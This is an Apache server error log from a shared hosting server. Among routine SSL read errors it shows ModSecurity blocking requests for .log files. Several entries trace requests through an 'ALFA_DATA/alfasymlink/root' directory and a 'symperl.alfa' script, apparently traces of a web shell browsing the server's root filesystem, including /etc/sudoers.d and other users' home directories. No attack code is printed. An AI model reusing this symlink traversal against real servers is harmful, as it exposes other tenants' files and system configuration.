[Sun Oct 25 14:14:27.173703 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 44.205.120.22:30847] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:14:31.153456 2026] [ssl:error] [pid 2875821:tid 2875821] (70014)End of file found: [client 34.205.170.13:32297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:15:07.044506 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 18.213.240.226:7163] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:15:18.815030 2026] [ssl:error] [pid 2875821:tid 2875821] (70014)End of file found: [client 44.221.105.234:64228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:15:19.337172 2026] [authz_core:error] [pid 2875825:tid 2875825] [client 47.250.181.248:12304] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:15:23.325920 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 50.19.79.213:59476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:15:25.071585 2026] [authz_core:error] [pid 2875828:tid 2875828] [client 47.250.181.248:16478] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:15:26.739865 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 35.174.141.243:44373] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:15:28.607705 2026] [core:error] [pid 2873159:tid 2873159] (13)Permission denied: [client 85.208.96.198:48902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/cpu_partial
[Sun Oct 25 14:15:30.914276 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 35.174.141.243:45560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:15:42.693463 2026] [core:error] [pid 2875790:tid 2875790] (13)Permission denied: [client 54.84.147.79:18892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/compact
[Sun Oct 25 14:15:48.650819 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:61990] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:15:50.485731 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 44.218.170.184:64265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:15:58.731295 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 34.225.138.57:8280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:16:02.390850 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 34.204.150.196:65102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:16:06.499857 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 184.73.35.182:21027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:16:10.776193 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 54.156.55.147:46447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:16:22.243197 2026] [ssl:error] [pid 2875798:tid 2875798] (5)Input/output error: [client 54.235.172.96:50980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:16:30.253314 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 52.6.232.201:31634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:16:34.272959 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 54.147.182.90:22623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:16:35.980232 2026] [core:error] [pid 2875796:tid 2875796] (13)Permission denied: [client 185.191.171.12:28772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/min_partial
[Sun Oct 25 14:16:51.984078 2026] [security2:error] [pid 2875796:tid 2875796] [client 76.135.135.39:63850] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at5Hk2Rf2IcMpPbtfDaALgAAABI"]
[Sun Oct 25 14:16:51.984412 2026] [security2:error] [pid 2875796:tid 2875796] [client 76.135.135.39:63850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at5Hk2Rf2IcMpPbtfDaALgAAABI"]
[Sun Oct 25 14:16:51.984709 2026] [security2:error] [pid 2875796:tid 2875796] [client 76.135.135.39:63850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at5Hk2Rf2IcMpPbtfDaALgAAABI"]
[Sun Oct 25 14:16:52.455824 2026] [security2:error] [pid 2873159:tid 2873159] [client 76.135.135.39:63942] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at5HlP1CbQghwAu-zzMCZAAAACA"]
[Sun Oct 25 14:16:52.456163 2026] [security2:error] [pid 2873159:tid 2873159] [client 76.135.135.39:63942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at5HlP1CbQghwAu-zzMCZAAAACA"]
[Sun Oct 25 14:16:52.456484 2026] [security2:error] [pid 2873159:tid 2873159] [client 76.135.135.39:63942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at5HlP1CbQghwAu-zzMCZAAAACA"]
[Sun Oct 25 14:16:52.914574 2026] [security2:error] [pid 2875808:tid 2875808] [client 76.135.135.39:64000] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at5HlCaIN-3QT1m06H-cWgAAAB4"]
[Sun Oct 25 14:16:52.914898 2026] [security2:error] [pid 2875808:tid 2875808] [client 76.135.135.39:64000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at5HlCaIN-3QT1m06H-cWgAAAB4"]
[Sun Oct 25 14:16:52.915178 2026] [security2:error] [pid 2875808:tid 2875808] [client 76.135.135.39:64000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at5HlCaIN-3QT1m06H-cWgAAAB4"]
[Sun Oct 25 14:16:54.319009 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 18.204.152.114:51403] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:17:01.041392 2026] [core:error] [pid 2875807:tid 2875807] (13)Permission denied: [client 85.208.96.202:30618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/ctor
[Sun Oct 25 14:17:06.385854 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 52.4.238.8:36413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:17:10.190697 2026] [ssl:error] [pid 2875821:tid 2875821] (70014)End of file found: [client 3.221.222.168:54590] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:17:26.259519 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 18.208.11.93:3755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:17:30.187215 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 44.212.131.50:47402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:17:50.172966 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 54.84.147.79:5997] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:17:54.248783 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 23.21.227.240:62899] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:18:06.383196 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 3.216.86.144:56094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:18:10.350291 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 3.231.193.38:22128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:18:14.188893 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 54.197.114.76:47967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:18:26.941104 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:51322] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:18:37.847040 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:52995] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 14:18:38.188775 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 3.94.156.104:26857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:18:38.434671 2026] [authz_core:error] [pid 2875808:tid 2875808] [client 76.135.135.39:53000] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Sun Oct 25 14:18:54.180655 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 85.208.96.210:46516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:18:58.187341 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 34.225.24.180:22351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:02.257923 2026] [cgi:error] [pid 2875790:tid 2875790] [client 76.135.135.39:53324] End of script output before headers: symperl.alfa
[Sun Oct 25 14:19:02.728521 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:53364] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Sun Oct 25 14:19:02.760434 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:53364] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:19:10.207365 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 52.73.142.41:28014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:16.203598 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53563] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Sun Oct 25 14:19:16.203765 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53563] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Sun Oct 25 14:19:16.895756 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/' is executable
[Sun Oct 25 14:19:16.898743 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/' is executable
[Sun Oct 25 14:19:16.914556 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/' is executable
[Sun Oct 25 14:19:17.132711 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/' is executable
[Sun Oct 25 14:19:17.164891 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/' is executable
[Sun Oct 25 14:19:17.175303 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/' is executable
[Sun Oct 25 14:19:17.207633 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/' is executable
[Sun Oct 25 14:19:17.464920 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/' is executable
[Sun Oct 25 14:19:17.659385 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:53574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/' is executable
[Sun Oct 25 14:19:18.746806 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:53626] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:19:19.188555 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/' is executable
[Sun Oct 25 14:19:19.188604 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/' is executable
[Sun Oct 25 14:19:19.188629 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sun Oct 25 14:19:19.188649 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sun Oct 25 14:19:19.188723 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/' is executable
[Sun Oct 25 14:19:19.188782 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/' is executable
[Sun Oct 25 14:19:19.188800 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sun Oct 25 14:19:19.188823 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/' is executable
[Sun Oct 25 14:19:19.188838 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/' is executable
[Sun Oct 25 14:19:19.188852 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sun Oct 25 14:19:19.188867 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sun Oct 25 14:19:19.188879 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/' is executable
[Sun Oct 25 14:19:19.188900 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/' is executable
[Sun Oct 25 14:19:19.188914 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/' is executable
[Sun Oct 25 14:19:19.188945 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/' is executable
[Sun Oct 25 14:19:19.188999 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/' is executable
[Sun Oct 25 14:19:19.189022 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/' is executable
[Sun Oct 25 14:19:19.189040 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/' is executable
[Sun Oct 25 14:19:19.189055 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/' is executable
[Sun Oct 25 14:19:19.189067 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/' is executable
